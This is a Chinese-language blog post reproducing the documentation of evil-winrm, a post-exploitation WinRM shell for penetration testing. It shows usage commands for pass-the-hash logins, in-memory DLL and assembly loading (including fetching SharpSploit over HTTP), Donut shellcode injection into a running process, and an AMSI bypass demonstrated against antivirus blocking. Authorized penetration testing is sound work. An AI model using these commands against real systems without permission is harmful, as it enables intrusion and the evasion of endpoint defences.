Windows渗透工具-evil-winrm

邪恶WinRM

在这里插入图片描述

下载地址

https: //github.com/Hackplayers/evil-winrm

描述和目的

该 shell 是用于黑客/渗透测试的终极 WinRM shell。

WinRM(Windows 远程管理)是 WS 管理协议的 Microsoft 实现。基于标准 SOAP 的协议,允许不同供应商的硬件和操作系统进行互操作。Microsoft 将其包含在其操作系统中,以使系统管理员的工作更轻松。

该程序可以在任何启用此功能的 Microsoft Windows 服务器上使用(通常在端口 5985),当然前提是您拥有使用它的凭据和权限。所以我们可以说它可以用于后利用黑客/渗透测试阶段。该程序的目的是为黑客提供良好且易于使用的功能。系统管理员也可以将其用于合法目的,但其大部分功能都集中在黑客/渗透测试方面。

它主要基于 WinRM Ruby 库,该库自 2.0 版以来改变了其工作方式。现在,它不再使用 WinRM 协议,而是使用 PSRP(Powershell 远程协议)来初始化运行空间池以及创建和处理管道。

特征

  • 兼容Linux和Windows客户端系统
  • 在内存中加载 Powershell 脚本
  • 绕过某些 AV 加载内存 dll 文件
  • 绕过某些反病毒软件加载内存中的 C# (C Sharp) 程序集
  • 加载使用出色的甜甜圈技术生成的 x64 有效负载
  • 动态 AMSI 绕过以避免 AV 签名
  • 传递哈希支持
  • Kerberos 身份验证支持
  • SSL 和证书支持
  • 上传和下载文件显示进度条
  • 列出没有权限的远程机器服务
  • 命令历史
  • WinRM 命令完成
  • 本地文件/目录补全
  • 远程路径(文件/目录)完成(可以选择禁用)
  • 提示和输出消息的着色(可以选择禁用)
  • 可选的日志记录功能
  • Docker 支持(可在Dockerhub上找到预构建的映像)
  • 捕获陷阱以避免按 Ctrl+C 意外退出 shell

帮助

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
    -S, --ssl                        Enable ssl
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -r, --realm DOMAIN               Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
        --spn SPN_PREFIX             SPN prefix for Kerberos auth (default HTTP)
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname. FQDN for Kerberos auth (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required if not using kerberos)
    -p, --password PASS              Password
    -H, --hash HASH                  NTHash
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -n, --no-colors                  Disable colors
    -N, --no-rpath-completion        Disable remote path completion
    -l, --log                        Log the WinRM session
    -h, --help                       Display this help message

要求

需要 Ruby 2.3 或更高版本。还需要一些红宝石:winrm >=2.3.2, winrm-fs >=1.3.2, stringio >=0.0.2, logger >= 1.4.3, fileutils >= 0.7.2。根据您的安装方法(4 种可用),可能需要手动完成安装。

仅用于 Kerberos 身份验证的另一个重要要求是安装用于网络身份验证的 Kerberos 软件包。对于一些 Linux,比如基于 Debian 的(Kali、Parrot 等),它被称为krb5-user. 对于 BlackArch 来说,它的调用方式krb5可能对于其他 Linux 发行版来说可能以不同的方式调用。

仅当您的 ruby 被编译为启用该--with-readline-dir标志时,远程路径完成功能才会起作用。某些 Linux 发行版中包含的 ruby 默认启用此功能,但并非全部发行版都启用此功能。请查看下面的部分以获取更多信息。

安装与快速入门(4种方法)

方法1.直接安装为ruby gem(依赖项将自动安装在您的系统上)

  • 步骤1.安装它(它将自动安装依赖项):gem install evil-winrm
  • 步骤 2. 准备就绪。只要启动它!
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

方法 2. Git 克隆并手动在系统上安装依赖项

  • 步骤1.手动安装依赖项:sudo gem install winrm winrm-fs stringio logger fileutils
  • 步骤 2. 克隆存储库:git clone https://github.com/Hackplayers/evil-winrm.git
  • 步骤 3. 准备就绪。只要启动它!
cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

方法3.使用bundler(依赖项不会安装在您的系统上,只是为了使用evil-winrm)

  • 步骤 1. 安装捆绑器:gem install bundler
  • 步骤 2. 克隆存储库:git clone https://github.com/Hackplayers/evil-winrm.git
  • 步骤 3. 使用捆绑器安装依赖项:cd evil-winrm && bundle install --path vendor/bundle
  • 步骤 4. 使用捆绑器启动它:
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

方法4.使用Docker

  • 步骤1.基于已构建的镜像启动docker容器:
docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'

文档

明文密码

如果您不想以明文形式输入密码,您可以选择避免设置-p参数,并且将提示密码以防止显示。

IPv6

要使用 IPv6,必须将地址添加到 /etc/hosts。只需将已设置的主机名称放在-i参数后面而不是 IP 地址即可。

基本命令

  • upload

    :本地文件可以使用 tab 键自动完成。

    • 用法:upload local_filenameupload local_filename destination_filename
  • 下载

    • 用法:download remote_filenamedownload remote_filename destination_filename

关于路径(上传/下载)的注意事项:下载/上传时不允许使用相对路径。使用当前目录或绝对路径上的文件名。如果您在 docker 环境中使用 Evil-WinRM,请记住所有本地路径都应位于/data并确保将其映射为卷,以便能够访问下载的文件或上传文件从您的本地主机操作系统

  • services:列出所有服务,显示您的帐户是否对每一项服务具有权限。使用此功能无需管理员权限。
  • menu:加载我们将在下面解释的Invoke-BinaryDll-Loader和函数。Donut-Loader当 ps1 加载时,它的所有功能都会显示出来。
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] menu
[+] exit

加载powershell脚本

  • 要加载 ps1 文件,您只需键入名称(允许使用制表符自动完成)。脚本必须位于-s参数设置的路径中。再次输入菜单并查看加载的功能。非常大的文件可能需要很长时间才能加载。
*Evil-WinRM* PS C:\> PowerView.ps1
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Add-DomainAltSecurityIdentity
[+] Add-DomainGroupMember
[+] Add-DomainObjectAcl
[+] Add-RemoteConnection
[+] Add-Win32Type
[+] Convert-ADName
[+] Convert-DNSRecord
[+] ConvertFrom-LDAPLogonHours
[+] ConvertFrom-SID
[+] ConvertFrom-UACValue
[+] Convert-LDAPProperty
[+] Convert-LogonHours
[+] ConvertTo-SID
[+] Dll-Loader
[+] Donut-Loader
[+] Export-PowerViewCSV
[+] field
[+] Find-DomainLocalGroupMember

高级命令

  • Invoke-Binary:允许.Net 程序集在内存中执行。该名称可以使用 Tab 键自动完成。exe 文件的参数可以通过逗号分隔传递。例子:Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'。可执行文件必须位于参数设置的路径中-e
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:
  • Dll-Loader:允许在内存中加载dll库,它相当于:[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

    dll 文件可以由 smb、http 或本地托管。一旦加载类型menu,就可以自动完成所有功能。

*Evil-WinRM* PS C:\> Dll-Loader
.SYNOPSIS
    dll loader.
    PowerShell Function: Dll-Loader
    Author: Hector de Armas (3v4Si0N)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    .
.EXAMPLE
    Dll-Loader -smb -path \\192.168.139.132\\share\\myDll.dll
    Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
    Dll-Loader -http -path http://example.com/myDll.dll

    Description
    -----------
    Function that loads an arbitrary dll

*Evil-WinRM* PS C:\> Dll-Loader -http http://10.10.10.10/SharpSploit.dll
[+] Reading dll by HTTP
[+] Loading dll...
*Evil-WinRM* PS C:\Users\test\Documents> menu

 [... Snip ...]

*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()


Pid          : 0
Ppid         : 0
Name         : Idle
Path         :
SessionID    : 0
Owner        :
Architecture : x64
  • Donut-Loader:允许注入使用出色的甜甜圈技术生成的 x64 有效负载。无需对payload.bin进行编码,只需生成并注入即可!
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

如果您不使用Windows,则可以使用此donut-maker来生成payload.bin。该脚本使用 Marcello Salvati ( byt3bl33d3r )编写的 python 模块。可以使用 pip 安装:pip3 install donut-shellcode

python3 donut-maker.py -i Covenant.exe

   ___  _____
 .'/,-Y"     "~-.
 l.Y             ^.
 /\               _\_      Donuts!
i            ___/"   "\
|          /"   "\   o !
l         ]     o !__./
 \ _  _    \.___./    "~\
  X \/ \            ___./
 ( \ ___.   _..--~~"   ~`-.
  ` Z,--   /               \
    \__.  (   /       ______)
      \   l  /-----~~" /
       Y   \          /
       |    "x______.^
       |           \
       j            Y



[+] Donut generated successfully: payload.bin
  • Bypass-4MSI:修补 AMSI 保护。
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

克伯罗斯

  • 首先,您必须与 DC 同步日期:rdate -n <dc_ip>

  • 生成票据有多种方法:

  • 添加 ccache 票证。有2种方法:

    export KRB5CCNAME=/foo/var/ticket.ccache

    cp ticket.ccache /tmp/krb5cc_0

  • 添加领域/etc/krb5.conf(对于 Linux)。使用这种格式很重要:

     CONTOSO.COM = {
                 kdc = fooserver.contoso.com
     }
    
  • 检查 Kerberos 票证klist

  • 要删除票证,请使用:kdestroy

  • 有关 Kerberos 的更多信息,请查看此备忘单

远程路径完成

根据您使用的 ruby,此功能可能不可用。它必须在 readline 支持下编译。否则,此功能将无法工作(将显示警告)。

方法一(编译需要的扩展)

使用此方法,您将使用所需的 readline 功能来编译 ruby,但仅使用库而不更改系统上的默认 ruby 版本。正因为如此,这是最推荐的方法。

假设您的基于 Debian 的系统有 ruby 2.7.3:

# Install needed package
apt install libreadline-dev

# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

# Extract source code
tar -xf ruby-2.7.3.tar.gz

# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make

# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
方法2(安装ruby仅用于使用rbenv的evil-winrm)

假设您想要在基于 Debian 的 Linux 上使用 ruby 2.7.1 并且您正在使用 zsh。该脚本将使其自动化。您需要从 evil-winrm.rb 和 Gemfile 所在的同一目录启动它(例如,evil-winrm 在 git 克隆后创建的目录):

#!/usr/bin/env zsh

# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q

# Install rbenv
sudo apt install rbenv

# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc

# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1

# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1

# Install local gems
gem install bundler
bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
    #!/usr/bin/env sh
    "${current_evwr}" "\$@"
EOF"

sudo chmod +x /usr/bin/evil-winrm

然后,您可以使用新安装的 ruby 以及所需的 readline 支持从任何位置安全地启动 evil-winrm。

方法3(编译整个ruby)

如果您想自己编译,可以按照以下步骤操作。假设您想要 ruby 2.7.3:

wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

根据您的系统,它将安装在/opt/rubies/ruby-2.7.3或可能安装在 ~/.rubies/ruby-2.7.3

现在只需要为新安装的 ruby 版本安装 evil-winrm 依赖项。最简单的方法是启动命令/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm。使用的 gem 命令必须属于新安装的 ruby。

之后,您可以安全地启动新安装的 ruby 以在邪恶的 winrm 上使用它:/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

建议仅使用这个新安装的 ruby 来启动 evil-winrm。如果您将其设置为系统的默认 ruby,请记住它没有安装依赖项 gem。一些基于 Ruby 的软件(例如 Metasploit 或其他软件)由于依赖关系问题而无法正确启动。

记录

此功能将在您的 $HOME 目录中创建文件,保存命令和 WinRM 会话的输出

变更日志:

可以在此处检查更改日志和项目更改:CHANGELOG.md

免责声明和许可

该脚本已获得 LGPLv3+ 许可。直接链接到许可证

Evil-WinRM 只能用于授权的渗透测试和/或非营利教育目的。作者和任何其他合作者及分享软件者不承担任何滥用本软件的责任。在您自己的服务器上和/或在服务器所有者的许可下使用它。

  • 28
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fishyiwu

感谢您的投喂~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值